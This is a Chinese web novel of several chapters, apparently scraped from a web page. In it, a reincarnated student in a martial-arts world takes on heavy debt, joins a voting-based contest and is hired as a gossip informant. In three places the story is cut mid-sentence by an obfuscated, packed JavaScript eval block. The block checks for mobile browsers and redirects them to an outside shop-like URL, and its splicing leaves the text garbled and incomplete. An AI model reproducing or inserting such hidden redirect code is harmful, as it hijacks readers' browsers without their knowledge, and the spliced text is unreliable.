《江湖练习生》 1. 地狱开局 张无声。 名满武林的高利贷产品线老总。 永丰钱庄的现金流主管者。 老奸巨猾,八面玲珑。 多少英雄好汉,名门大派绞尽脑汁,手段用尽,也没能在他的钱庄里占到半分便宜。 但此刻,这位笑面佛两道粗眉倒吊,面上阴云密布,没有半分从容神色,又是恼怒,又是无奈。 “咱们来算算账。”张无声冷哼一声,膀大腰圆的身子半边都倚在木桌上,“你前前后后来我这钱庄贷过四笔款,总共欠了五千两!不是五百两,五十两,是他娘的五千两!” “到现在过去多久了?你是一分没还啊!居然还有脸来继续贷第五笔?” 他越说越激动,唾沫星子直往外喷。木桌对面,一名蓝衣少女静静听着,神色忧愁,面容焦虑。 这少女一身窄袖淡蓝劲装,眼眉俊秀,面若璞玉,虽然貌美,眼底却了无生气,失了几分颜色。 她好似完全没听懂张无声的拒绝之意似的,恳求道:“张掌柜,你就当帮个忙,日后我一定双倍,不,十倍还你!” 张无声又是一声冷哼:“林姑娘,你别把我老张当傻子!说的比唱的还好听,你什么情况我还不知道吗?莫说十倍了,你能把利息还干净我老张就谢天谢地了!” “要我讲,你贷那么一大笔钱投去买营销跟把钱烧了有啥子区别嘛!没那个金刚钻就别揽那个钻石活!武林新星大会是留给那些武二代们打响名声的,你一个没钱没势的小角色去了能讨到什么好!” 张无声颇有几分过来人看小年轻的恨铁不成钢,夸张地一拱手:“现在可好,你砸钱砸出来的不是叫好声,是连绵不绝的骂声啊!哎你别说,这也算花钱听了个响哈!” 蓝衣少女咬牙,是不服气却又不得不认命的气愤:“您是没说错!现在我看清了,所以我要换条路走,可还不是得要钱才能走得通么!张掌柜,一句话,给不给贷?” 见对方一副不到南墙不回头,执迷不悟的样子,张无声索然无味,颓着声道:“不——贷——” “呵,我就知道!”蓝衣少女脸上骤然浮现一抹凄惨之色,彷佛一瞬间失去了所有力气,“贷不到,就去死,这是我早就决定好的!既然混不下去了,那就不活了!” 张无声悚然一惊:“你说啥子混账话嘞!哎,别,林姑娘你可别在我的钱庄里整什么幺蛾子!” 蓝衣少女全然屏蔽了张无声,在对方拉开隔板冲出木桌台时,便迅速从袖口掏出了一个药瓶,干脆利落吞下了一枚药丸。 张无声大惊失色的同时,蓝衣少女直直倒了下去。 “造孽啊!要命啊!我老张怎么这么命苦啊,摊上的这叫什么事啊!”张无声吓得扑倒在地大叫,“来人!快来人,去叫大夫!要么就把她抬出去,死也不能死在我的钱庄!” 立时就有两个伙计冲了过来,看见倒在地上,面色发紫的蓝衣少女,都倒吸一口冷气:“掌柜的,这还能活吗?” “活不了就拖出去埋了!一了百了!麻利点,别让我的地盘沾上晦气,以后还得开门做生意!” “这么大个人,就是埋进土里也显眼得很啊。咱们会被官府的人盯上吧。”其中一个伙计露出担忧的神色。 “我看啊,咱们得分尸!”另一个伙计突然用一种笃定的语气说道,“话本里就是这样讲的,把尸体切成一块一块的,埋进土里,保准儿没人能发现!” “分尸!”张无声悚然,“成成成,小李,这就交给你了哈,回头我给你算辛苦费!” “那敢情好!”小李惊喜地笑。 然而说归说,真要动起来,小李心里还是瘆得慌,他喉结滚动了一下,小心翼翼用手试着摇了摇蓝衣少女的手臂,如果没动静他就要把人抬去进行下一步了。 结果这一摇差点没把他吓得魂飞魄散——那原先毫无动静的蓝衣少女冷不丁抬手握住了小李的手腕,体温拔凉拔凉的。 “啊啊啊——” 离得近的两个伙计对上蓝衣少女那张面无表情的脸,当场就大叫着吓晕了过去。 “怎么回事?这是哪里?我不是被车撞了吗?” ——蓝衣少女,林柏,喃喃自语道。 她上一秒的记忆还停留在被卡车撞飞的剧烈疼痛中,谁料一醒来看到的不是医院的白色天花板,而是一间古色古香的屋子和三个莫名其妙受惊的人。 张掌柜浑身哆嗦着,三魂丢了两魂,七魄只剩一魄:“你你你,你是人是鬼?” 林柏似乎觉得他问的问题很奇怪:“不是人还能是什么?哦,我刚被车撞死了,说不定现在真成鬼了。” 她说着笑了,张无声看的又惊又疑——分明还是那模样,怎么就这一会儿的功夫这孩子给人的感觉就不一样了呢?林柏那双黑白分明的眼睛,忽而变得晶亮,澄净得仿佛能看穿世间一切污秽。 下一秒,笑容凝固,一阵钻心的剧痛在林柏脑子里炸开,她头痛欲裂,难以忍受地弯下了腰,与此同时,似乎有些原本不属于她的记忆漫进了大脑。 好一会那阵疼痛才过去,而林柏也从那一堆记忆碎片明白了一切是怎么回事。 “原来我是穿了呀。”林柏自言自语,“不是穿书,不是穿越时空,居然穿进了一个不知完全没听说的武林世界。” 对面的张无声渐渐回过神来,见林柏又是吃痛,又是胡言乱语,大着胆子拍了一下她的肩膀——摸得着,是活的! 林柏被拍了一下后,灿然一笑:“掌柜的,你放心,我是货真价实的活人!” “……” 之后林柏被张无声愤怒地踢出了钱庄,听到的最后一句话是“别想装疯卖傻骗贷!给老子有多远滚多远!” “要不要这么粗鲁!”林柏嘟囔着拍了拍身上的灰,捡起地上的一张纸——那是被踢出来前张无声扔给她的还贷通知,要求林柏三个月内还清五千两银子。 纸上明确写着,倘若林柏没能按时还款,不仅会被列入武林失信名单,张掌柜还会找江湖上的兄弟们教她做人。 唉。林柏叹气,开局背上五千两债务,你告诉我能怎么赢? 得益于原主记忆的植入,林柏大概清楚了自己目前是个什么处境。 原主也名林柏,是武林六大门派之一的点苍剑宗的一名普通外门弟子,炮灰命,主角心。 要说清楚原主的经历,还得先介绍一下江湖中一项著名赛事——“武林新星大会”。五年一办,由六大门派共同主办,从武林各个门派以及无门无派的江湖散人中选出一百名25岁以下的少年,参与四轮试炼并最终决出排名第一名。 决赛第一名的人,有资格选择六大门派任一掌门拜师,成为掌门的真传弟子——这意味着,若你本身就是六大门派某一掌门的弟子,有机会再拜一名顶尖高手为师;若你无门无派,有机会借此打进武林高层;武学资源和人脉还愁不够么! 可想而知第一名的奖励是多么大的诱惑。“武林新星大会”也因此成为一项热门赛事。 最绝的是,这个“武林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而江湖险恶,黑中介收钱之后,音信全无,跑路了。意识到被骗的原主终于逼近崩溃的边缘,她不忘初心,再次来到了钱庄,企图借第五笔贷重开——不过这一次,她下了贷不到,就去死的决心。 结果就是原主一走了之,同名同姓的林柏穿了过来。 回忆结束,林柏在心里默默为原主祈了个福,希望她在地府里别混得这么惨吧,死来运转,死来运转。 话又说回来了,林柏脸上同样有一个大写的惨字。原本她只是个天天逛论坛打电动的宅女大学生,为了拯救马路中间的小孩被卡车撞飞,再度睁开眼居然成了武侠世界里背负五千两债务的万人黑。 此刻唯一值得庆幸的可能是林柏无父无母,在现实世界里没有什么挂念,即使被困在这个世界也不会崩溃。 将贷款通知随意塞进袖口,流浪街头的林柏一看周围都是店铺,立刻便将方才所有烦恼抛在了脑后,一脸兴奋地踱着步左看看右看看。 ——本性如此,就算是天要塌下来,她也会笑着先躺下来睡一觉,还能睁开眼就万幸,睁不开那也没办法了。 “《环湖日报》最新一期哈,只要三文钱!武林晴雨表,恩怨风向标!江湖大势一眼看透,尽在《环湖日报》!” 这响亮的吆喝声几乎盖过了四周所有的小摊贩,从一处略有规模的书局里传来,站在店外便能看清屋内密密麻麻挤满的书籍报纸。 吆喝声便来自里面一个留着半长胡子,略有些文气的中年大叔,中气十足,游刃有余。 林柏迈不动腿了,眼底燃起熊熊好奇的火焰。 2. 靠嘴炮获得offer 几步跨进书局的门,林柏大喊:“老板,来一份《环湖日报》最新期!” “好嘞,您接着,三文一份!” 接过这份报纸,林柏立刻感到了一种熟悉感,这字体和食堂窗口上方的菜单一模一样,都是微软雅黑。 迫不及待地大扫了一眼——板块居然还挺多,有热点区,灌水区,实时兵器排行榜和悬赏帮,还有一个专门为武林新星大会开的新星交流区。 就这么随意一瞥,林柏已经在热点区,灌水区和新星交流区看见了自己的名字,普遍都跟着“注水咖”“贷资进组”之类的词。 为了避免自己柔弱的小心脏受不了刺激,林柏略过了所有和自己有关的咨询,将目光投到了热点榜第一的文章——《我为什么不喜欢点苍二兽?》 这句式,颇有某乎遗风啊。 至于点苍二兽,指的是点苍剑宗掌门的两个徒弟,大徒弟洛青原和三徒弟徐知南。这两人行事张扬高调,又都爱慕掌门之女朱玄音,为了俘获朱小师妹的芳心,争先恐后地干出过不少蠢事,事迹流传颇广,久而久之,有了点苍二兽的称号。 拥有原主记忆的林柏毫无障碍地理解了这个世界的梗,津津有味地继续往下看。 【近期,从点苍剑宗流传出朱师妹感染风寒的消息,罪魁祸首正是点苍二兽。老狐看到不少朱师妹的粉丝在强烈谴责点苍二兽,同为朱师妹的爹粉,老狐也忍不住想啰嗦几句。 老狐活了大半辈子,头一回见有人把孔雀开屏演成凶杀片的。诸君可听过《悬河剑法》?这是点苍二兽共同研究出的一套剑法。他两人吹牛说靠这剑法能御剑控水,提着一桶水将朱师妹约出来,结果剑未出鞘,二兽之一洛青原一个趔趄把水全泼在了朱师妹身上。 张牙舞爪却内里空空,犹如纸糊的灯笼,风一吹就着——这便是点苍二兽。偏偏这两人还爱显摆,成天缠着朱师妹,简直没把我们这些朱师妹后援会的成员放在眼里!老狐由衷地希望他们能在禁闭室关久一点,勿要再叨扰朱师妹!朱师妹是大家的朱师妹! 最后老狐呼吁,练武需谨慎,急功近利不可取,点苍二兽不可学!】 ——《环湖日报》严老狐主笔,李正编。 哈哈哈哈哈——林柏简直笑得要断气,好容易才直起腰:这篇文章简直就是唯粉在挂私生饭吧!私生饭为了上位疯狂刷存在感,结果不仅得罪了真主还惹到了唯粉哈哈哈,这个武林世界戏怎么这么多啊! 书局老板捋着胡子,狐疑地看了林柏一眼,他可不记得这期日报有什么笑点,问道:“姑娘何故大笑?” ——林柏这人,没人搭理倒还好,一有人问,她的戏瘾就上来了,控制不住的胡说八道。 只见她那双晶亮的眼睛悠悠一转:“吾不笑别人,单笑李正无谋,严老狐少智。这样一篇文章,除了满足朱师妹粉丝的吐槽欲之外,还能吸引谁呢?李正编辑却把它收录到了热点榜第一的位置。除非严老狐换个切入点,否则实在是德不配位。” 书局老板眼皮狠狠跳动了一下,悠悠道:“我就是李正,不知姑娘有何指教?” “……” 林柏才刚起范,装杯气势就猛地被打破了。坏话说到当事人面前,还有比这更尴尬的场面吗?她眨了眨眼:“指教谈不上,哈哈,不过是一场友好的行业交流罢了哈哈,李编您抬举了。” “哦,是这样吗?”李正笑出了老江湖的奸诈之感,“那么不妨请姑娘说说这个热点还能有什么新奇的切入点。” 见对方没有计较的意思,林柏松了口气,嘴角勾起一抹轻笑,再度进入无形的装杯场域,几乎纯黑的眸子带上了几分促狭之色。 她道:“须知,点苍二兽终究只是三线角色,孔雀开屏翻车这种小事根本掀不起多大热度。但倘若换个角度,曝光点苍二兽那些不为人知的小秘密,可就说不定了。” 李正挑眉:“比如?” “比如,”林柏微微一笑,“点苍二兽之一的洛青原其实有断袖之癖,一直觊觎着他的好师弟徐知南。” 李正一怔,随即嘴角抽搐:“这种假到离谱的新闻也能登上热点?只有傻子才会信吧!就连点苍剑宗里的流浪狗都知道这俩货有多痴迷于朱师妹。” 林柏:“曾经有位大v这么说‘管他黑的白的,全都写成黄的才能红!’,李编,相信我,这个切入点这么劲爆,这么恶俗,这么出人意料,已经具备了热点新闻三要素。至于怎么增加这个新闻的可信度,咱们只需要找到一点证据。” “这种事情没有证据吧?” “怎么会没有?”林柏一副看透一切的模样,“李编,你仔细想想,真的会有这么巧合的事情吗?同门师兄弟爱上同一个女子,居然还在同一时间对外宣布要追她,折腾了这么多年两人逐爱进度都为零,反而两个情敌一起创立了一套剑法,这真的合理吗?” 李正拧眉:“那依你看,这是怎么回事?” “实际上,洛青原一开始心里喜欢的就是他的师弟徐知南。只不过落花有意流水无情,徐知南满心满眼都是朱师妹,为了不让心上人和朱师妹修成正缘,洛青原便也伪装成了她的追求者,看似在和徐知南同台竞争,实则是为了破坏徐知南追求朱师妹的计划。” 林柏哼哼一笑,无比自信无比流畅地编造出了一番推理。 李正犹豫了,似乎在思考林柏这个惊天设想的可能性。 林柏继续加猛料:“你仔细想想,洛青原身为点苍剑宗掌门亲传的大弟子,倘若不是有心,会手抖得将一桶水全泼到了朱师妹身上么?” 李正慢吞吞地点了点头:“似乎有些道理。” 林柏:“你没能看透点苍二兽关系的本质,原因在于你忽略了那些细微的关窍。” 李正纳闷:“还能有什么关窍?” “关窍在于《悬河剑法》。”林柏一本正经道,“这套剑法是洛青原与徐知南共同创立,结果徐知南却跑到朱师妹面前去献宝,你说洛青原心里能没气么?这也是为何这回他会失控到将水泼到朱师妹身上,他想彻底断绝徐知南与朱师妹的可能性啊!” 李正的眼神全然呆了:“难怪啊难怪,说通了,一切都说通了!” 林柏拼命忍着,好容易才没泄出笑声,而另一边的李正面色郑重,用一种敬佩的眼神望向林柏:“受教了,不知姑娘是何人?居然能做出如此惊天地泣鬼神的热点新闻!” 林柏像个世外高手那样摆手:“不重要不重要,在下不过是点苍剑宗一名普通的外门弟子罢了。” 李正惊呼:“难怪姑娘你对点苍二兽了解得这么清楚,原来是近水楼台先得月。依你看,点苍二兽未来关系的发展会走向何方?请你随意谈两句,也好让我做个评估。” 林柏奸诈一笑:“多半不会有什么发展——因为两个受(兽)是没有未来的啊!” 李正:“……” 忽而凭空响起一声轻笑,既非林柏,也非老板,两人都是一愣,向着书局里面密密麻麻的昏暗过道看去,只见一名白衣男人手执折扇,缓步走来。 他看上去三旬上下,相貌潇洒,一双眼睛亮而有神,嘴角微微上扬,连带着眉梢眼角都带笑。 李正见是他,用一种很熟悉的语气问道:“玉楼主,不是要翻往期日报么?怎么才一会儿就往外走了?” 白衣男子扬起折扇,向着林柏微微一笑:“我若是不往外走,怎么能见到这么一出好戏,这么一个妙人呢?你说是么?林柏姑娘。” 这人怎么会知道我是谁?林柏十分讶异,虽然林柏在这个世界是万人黑,但古代武侠世界毕竟还没有出现摄影机,她也并没有画像在江湖中流传,长期以来活跃在日报论坛里的不过就是一个名字。 林柏学着古人说话:“敢问阁下是何人?为何会知道我的名字?” “天底下不认得你的人是多,不知道你名字的人可就很少了。”白衣男子声音温和,说出来的话却有些欠揍。 李正早已惊掉了下巴:“你,你你,你居然就是那个注水咖,刷票王!” 林柏有些不爽了,这人把别人的身份曝了个精光,自己却捂得严严实实的,实在是很狡猾,她道:“你究竟是谁?难不成是我的黑粉?连我买份报纸也要横插一脚!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哎等等,玉楼主,你这就不厚道了吧。我还没开口呢,你怎么半路就要截胡啊!”从震惊中回过神来的李正连忙开口,原来他也看中了林柏,方才心里就想着要招林柏加入《环湖日报》的工作团队了,哪知会被人捷足先登。 玉无涯露出一个有些欠揍的笑:“李编,我可没有阻止你招人,只是你觉得,望云楼和一个小小的编辑部,林姑娘会乐意加入哪个呢?” “什么小小的编辑部,我们《环湖日报》可是全江湖最大的报纸,你不要小看了我们!”李正一副受了奇耻大辱的表情,“林姑娘,你说,你选哪个!” 林柏眨了眨眼:“我选望云楼。” “……” 李正晕倒。玉无涯轻笑,似乎早有预料。 对不起了李编,大公司的工资待遇肯定更好,有钱能使鬼推磨呀,你应该能理解吧。林柏默默在心里对李正告别。 玉无涯:“既然决定来望云楼,那么你现在就算是入职了。接下来就要跟你谈谈工作分配了。” 这么随便吗?手续合同都不用办?嘴皮子一张一闭就算我入职了?怎么一点大公司的感觉都没有欸,林柏暗暗腹诽。 似乎看透她的想法,玉无涯一笑,露出森白的牙:“我是楼主,我说了算。” 这笑容让林柏起了一身鸡皮疙瘩。她打了个寒颤,听着玉无涯继续道:“身为武林新星大会的参与者之一,我想你也知道舆论宣传有多么重要。哪怕武功再好,剑法再精,若是一不小心爆出负面新闻,那么想要票数再上涨可谓是难如登天。” 林柏点头,没明白玉无涯为什么突然跟她说这个,这和她的工作分配有什么关系吗? 玉无涯:“为了能杀出重围,不少人会选择花钱去买他人的黑料。其他人塌房的越多,自己争夺头魁的机会就越大。而望云楼,就是收钱办事,帮人搜寻目标方黑料的那个角色。” 林柏心底突然升起一阵不妙的感觉。 果不其然,玉无涯开口,声音透着笑意:“我要你,成为望云楼在武林新星大会内部的线人,帮助我们搜寻目标人物的黑料。” 林柏为之绝倒,搞了半天,就是要我当狗仔啊! 3. 紧张又刺激的放榜环节 六重飞云宫。 武林新星大会的主办地。 全江湖最高端的建筑群。 此刻,林柏站在六重飞云宫的白玉阶梯向上仰望,深觉自己像个第一次进城的乡巴佬。 这处建筑群分明是依山而建,却像是从云端里长出来似的。六层宫阙自下而上,层层收束,却又层层向外飞展,每座阁楼的檐角都挂着铜铃,山风一吹,铃声悠悠地响,彷佛云中传来的天籁。 高端,大气,上档次!不愧是六大门派共同主持开发的场地! 先前玉无涯给林柏分配这个狗仔工作时,林柏还是稍微挣扎了一下的:“玉楼主,你可能不太了解我的情况,我在武林新星大会的人气不说低到尘埃里,也是万人黑的水平,明日就是第一轮票选结果公布的日子,我多半是要被淘汰的,这还怎么在大会里当线人。” 她的言下之意是让玉无涯给她换一份工作,谁料玉无涯沉吟片刻后道:“不必担忧,这一点小事望云楼还是能摆平的。你只管放心去,我保证你不会被淘汰。” 于是林柏一路循着记忆来到了六重飞云宫。 白玉阶梯尽头便是一处平地,中央是一处占地面积极大的比武场。四周则依循山势矗立着六栋古朴典雅的阁楼——这即是六重飞云宫的命名来由。 武林新星大会的一百名年轻参与者们就分住在这六处阁楼,他们中大多数来自名门大派,是前途无量的武林精英阶层;也有不少人无门无派,是浪迹江湖的散人,境遇全然不同的这一百人相聚在这里,只为决出一人登顶! 而明日,就将有四十人被淘汰,无缘这场争夺! 林柏一边向着记忆里自己居住的二重阁走去,一边思考着自己成为被淘汰的四十人之一的可能性——暂且不提那一堆追着她骂的黑粉,光就原主在第一轮比赛中的表现,林柏就觉得自己不可能晋级。 第一轮比赛的内容是让一百名选手轮流上台,在一炷香之内展示一套剑法、刀法或者拳法,内容全由选手自己斟酌选定。毕竟原主只是个外门弟子,剑法能有多高超?本来和其他选手对比起来就相形见绌了,原主居然还在舞剑的时候脚一滑摔了一跤。 真是要多尴尬有多尴尬!观众会给她投票就见鬼了! 林柏想来想去,玉无涯能保证自己不会被淘汰的唯一方法就是动用钞能力给自己刷票了。某种意义上,还真没违背自己在武林新星大会上的“注水咖”人设。 对此,林柏表示压力很大。 身为一个万人黑,林柏很有自觉地从侧门走进了二重阁,希望不会引人注意。阁楼内部萦绕着一股淡淡的檀木香,一楼摆满了实木红桌,装修配置与外头的客栈颇为相似,现今零散的有十来个人坐在桌子上交谈着。 林柏稍微打量了几眼就转身上楼,她记得自己住在三楼。 谁料冤家路窄,林柏才刚踏上三楼的踏板,直直地就对上两个并肩同行,气质如出一辙的人——不是点苍二兽是谁? 洛青原用一种十分讶异的语气问道:“你怎么还在这里?难不成你还在等票选结果?呵,何必浪费这个时间等,反正你注定不会晋级!” 徐知南则好像费了些时间才认出林柏,随声附和道:“就是!你这么久没出现,怎么今天突然回来了?该不会是又去贷款刷票了吧?” 按理说,大家都是一个门派里出来的,关系理应比旁人更好才对,然而不仅现代社会存在学历歧视,武林世界里同样有派别歧视,内门弟子向来看不上外门弟子,林柏一个靠氪金获得参赛资格的外门弟子更加受人歧视也实属正常。 林柏呵呵一笑,并不打算搭理这两人,她想到上午在书局那一番胡言乱语,一阵偷笑,恐怕再过不久,点苍二兽的禁断爱恋就要传遍全江湖了吧。 她利落地转身朝自己房间走去, 被无视的徐知南来劲了:“难不成真的被我说中了?你心虚什么?敢做不敢当算什么英雄好汉!” “罢了,知南,反正她明日都是要卷铺盖走人的。”洛青原拉住想要往前冲的徐知南,微微摇头,“不过她今日这么镇静倒是很奇怪,先前几次碰面她都是一副一点就燃的模样。” 徐知南冷哼一声:“毕竟马上就要被淘汰,这么大的打击会性情大变也不奇怪。” * 推开木门一走进去,便闻到一股淡淡的药味,循着那药味看去,是一个倒立着的灰衣人。对上那双倒吊着的眼睛的瞬间,林柏才想起自己还有个室友——貌似叫……游小竹? 不过由于原主长期在外忙着营销之类的事,不常住在六重飞云宫内,和这位室友并不相熟,似乎……只在第一天入住六重飞云宫的时候见过一面。 林柏犹豫了一下,还是伸出手摆了摆:“你好?” 游小竹似乎愣了一瞬,下一秒双肘一弯,借着几丝微不可察的反弹力,腰部轻轻向后一拧,整个人便如风中柳絮般翻起,足尖落地时悄无声息。她连气都没喘一下便重新正立在林柏面前。 一张面无表情的脸上嵌着一对黑白分明的眼睛,清秀冷淡,却丝毫没有压迫感。 她看着林柏:“你好。” 为什么有一种很郑重其事的感觉?林柏有种看到高冷猫咪模仿人类打招呼的既视感,她轻笑了一声,问:“你知道我是谁?” 游小竹点头:“知道。你的名字是林柏,来自点苍剑宗,22岁,身长五尺零三分,重止八十九斤……” “等等等等!”林柏奇怪至极,“你知道的也太齐全了!” 游小竹似乎并不觉得哪里不对,一脸认真:“师父说,闯荡江湖讲究有备无患。” “师父?你师父是谁啊?”没记错的话,游小竹无门无派,是一个货真价实的“独立练习生”。 游小竹:“师父就是把我捡回去的人,捡回去,拼起来。他是世界上对我最好的人,要听师父的话。” 林柏逐渐感觉到了这个少女异于常人的脑回路,有些无奈地随意问道:“这么说,你已经听你师父说的,把参加武林新星大会的所有人都研究透彻了?” 游小竹点头。 林柏狐狸一般转了转眼睛,笑着问:“那么你对慕容山庄,以及少庄主慕容泽了解多少呢?” 游小竹宛如接收到提示词的ai,不假思索道: “慕容山庄位列六大门派之一,是武林东南片区的老大哥,以家传的‘悲鸣剑’闻名,江湖素传‘悲鸣一出,鬼哭神嚎’。然慕容山庄多年来饱受家族性遗传病血蛊之症侵扰,家族人丁不兴,这一代家主慕容光未患血蛊,其子慕容泽身体同样无异,但体质孱弱,虽自幼与父练习《悲鸣剑法》,剑术却十分一般。” “不过,第一轮选拔时,我见过他的剑招展示。”游小竹回忆了一瞬,道:“剑术一般的评价是从外界搜集到的资料,若是由我亲眼所见,他用剑时气势如虹,游刃有余,剑术非常不错。” 林柏不知不觉间蹙起了眉——她之所以向游小竹询问慕容泽并非随意为之,而是由于玉无涯给她分配的狗仔工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515255|203154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作首个任务对象就是慕容泽。 委托方是昆吾山庄,同样位列六大门派之一。昆吾山庄与慕容山庄地理位置极为接近,导致两个山庄虽然一个使刀,一个耍剑,却常常被放在一起比较,久而久之,彼此之间也不太能看顺眼,可谓是世仇。 总是处处矮一头的昆吾山庄,力求挖出慕容山庄少庄主慕容泽的黑料,进而将这个武林新星大会中唯一姓慕容的赶走,只要慕容泽淘汰得比昆吾山庄的人早,那么这一轮就完全可以说是昆吾山庄扳回一局。 林柏是不太懂这种非要赢过死对头的心理的,但作为一个要打工还债的狗仔,她必须尽心尽力去帮助委托方赢过死对头——也就是说,她必须得找到慕容泽的黑料! 然而从游小竹的叙述中,她只见到了一个幼时身体孱弱剑术一般,如今却逆袭成用剑高手的标准龙傲天——这就是所谓的三十年河东,三十年河西吗?根本没有黑料可挖啊听起来! 林柏扶额,成为狗仔后第一次有了危机感。 对面,游小竹吐出那一大段回答后就眼睛一眨不眨地站在原地,似乎在等一句肯定或者夸奖,她等了又等,沉浸在悲伤世界的林柏却始终没抬头。 游小竹呆了呆,露出有些失望的神情。 * 次日,林柏是在一阵天旋地转的摇晃中醒来的,她扯着被子挣扎道:“别闹,今天没有早八,我要再睡会儿……” “今日第一轮选拔要放榜,张掌门好似还要公布第二轮选拔的内容,你真的不去吗?” 清冽又陌生的声音,瞬间让林柏清醒,她睁开眼睛,对上了游小竹面无表情的一张脸。 林柏没想到游小竹会主动喊她起床,她讪笑着:“抱歉抱歉,我要参加的,我现在就起床!” “是我该抱歉,师父说过,扰人清梦是不对的。我本来不该喊你起床。”游小竹定定地看她,“但是师父也说过,任何事情在放榜面前都不值一提。” 林柏从被子里崩起来,一时之间不知道要不要感谢游小竹师父,她问:“你师父难道年纪很轻?居然还要等放榜,科举考试的榜还是什么榜?” 游小竹:“是赛马的名次榜。” “……” 林、游两人来到比武场时,场上已经整整齐齐地排成了一个方阵,方阵前方的看台上悠悠站着一个鬓发须白的道袍老人——那是来自六大门派之一的天师道的掌门,张之远。 张之远面容清瘦,颧骨微耸,如同深山古松,却没有那种疲惫的老态。一双眼睛亮得惊人——不是少年人那种锐利的亮,而是深潭古井的那种通透。 不愧是道教门派的掌门,光是站定在高处便有一种浑然自成的仙风道骨的气质。林柏瞥了一眼感叹道。 然后她才意识到自己比领导来的还晚的事实,林柏汗颜,连忙和游小竹混进了方阵末尾队列,可惜这时候再小心翼翼也还是免不了引来他人打量的目光,林柏刚一抬眼便对上了洛青原鄙夷的目光,而他旁边正是徐知南——这个点苍二兽怎么阴魂不散呐,林柏有些无语。 众人都站定后,张之远开口了: “接下来公布第一轮选拔的票选结果,本轮选拔是一百进六十,那么接下来我会逐一从第六十名向前念,结束之后,没有听到自己名字的选手,可以收拾东西离开了。” 毫无铺垫,直截了当,众人心底都是一震,一股紧张的气氛蔓延开来。 “第六十名——” “点苍剑宗,林柏,8290票。” 4. 第二轮选拔 林柏当场就懵了——刚好能够晋级的排名,会这么巧吗? 又或者说是玉无涯卡点刷票的结果?林柏越想越觉得有可能,毕竟是大公司的老板,擅长给投资项目估值,大概是觉得我也就值个恰好能晋级的票数吧,呵呵。 游小竹鼓掌,认真道:“恭喜!” “谢谢。”不过周围的人似乎并没有那么开心,林柏感觉有好几道带着火焰的目光投射在自己身上。 “这家伙凭什么这么好运,居然卡点晋级!” “我看是又刷票了,怎么可能会有这么巧的事儿!” “绝对是这样!这姓林的不走正道,成天想着营销刷票,就算这次侥幸晋级了也肯定走不到最后!” …… 诶欸,你们说别人坏话的时候能小声点吗?我虽然武功不好但听力是绝对没问题的啊。不过某种意义上,人家也确实没有骂错,我可不就是靠着刷票晋级的么。 无法反驳的林柏只好装聋作哑,目视前方。 看台上,张之远还在悠悠地播报:“第五十二名,散人,游小竹,9875票。” 这回换林柏鼓掌:“恭喜恭喜!” 游小竹虽然依旧面无表情,耳尖却有些发红:“谢谢。” 身为独立练习生,游小竹能夺得这个票数实属不错了。毕竟她既没靠门派帮扶也没氪金刷票,每一张票都是实打实由观众投出来的——不得不说武功依旧很重要,林柏感叹道,为游小竹赢得如此多关注和票数的,正是她在第一轮选拔中展示的一套拳法。 虽说人设和营销都很重要,但江湖中大部分人仍然更喜欢武功好的实力派。 也许我该想办法提升一下武功。林柏暗自思量着,毕竟原主的底子实在太差,不仅无法靠武功吸引粉丝,在这个充斥着刀光剑影的武林世界想要自保也很成问题。 随着一个个排名逐渐被念出,有人欢喜有人愁,比武场也越来越喧闹。 “第三十四名,唐门,唐真,10988票。” …… “第二十六名,点苍剑宗,朱玄音,13220票。” …… “第二十三名,昆吾山庄,花辞,14005票。” …… “第十九名,散人,许离,14880票。” …… “第九名,散人,颜咏芳,16050票。” 听到这里,林柏不由得一愣,居然有散人冲进了排行榜前十,这颜咏芳是何方神圣? 未等她琢磨明白,张之远继续往前念,不知不觉间,已经到公布排行榜前五的时候了—— “第五名,慕容山庄,慕容泽,18040票。” “第四名,天师道,李清,19920票。” “第三名,灭度门,封一行,22031票。” “第二名,菩提寺,上官镜,25405票。” “第一名,散人——” 众人呼吸皆是一滞。 “符平雪,32200票。” 全场哗然。 夺得第一轮选拔魁首的居然是个无门无派的散人!更令人惊讶的是他的票数居然与第二名拉开了如此大的差距! 林柏发觉周围人开始往同一个方向看,料想是在看那夺得头魁的符平雪,便也忍不住转头看向那方,直直看见了一个负手而立的黑色身影。 那人长发如墨,一身黑衣劲装,腰间一柄玄铁剑,周身上下,一片黑,更衬得肤白似雪,眉目如画。 他线条俊朗,唇间一抹浅浅笑意,然而本该是个出尘脱俗的谪仙,黑眸里却有一丝摄人心魂的妖异,使他笑起来冷艳邪魅,周身更带有一股浓浓邪气。 林柏抬眼望去时,那人也恰好淡淡向前一瞥,两人对视的瞬间,林柏立刻感觉如坠深渊,浑身的寒毛都立了起来,忙不迭地移开了目光,若无其事地背回身去。 ——这人,极其危险。 这是林柏对符平雪的第一印象。 纵然台下再躁动,程序也还是要继续往下走,张之远捋了一把白胡须,轻咳两声,道:“晋级名单已经公布完毕,未入选的小友们,请抓紧时间收拾东西离开。清场之后,我们就开始公布第二轮选拔的内容。” 方才因第一名排名公布带来的震动顿时减少几分,四十名被淘汰的少年们都紧咬牙关,满脸的不甘心,甚至有人压抑不住哭了起来——这一走,就意味着无缘拜师六大门派,跻身高层武学!他们中多数人五年之后就不再满足大会的年龄参选要求,这一淘汰,就是一辈子的错过与遗憾! 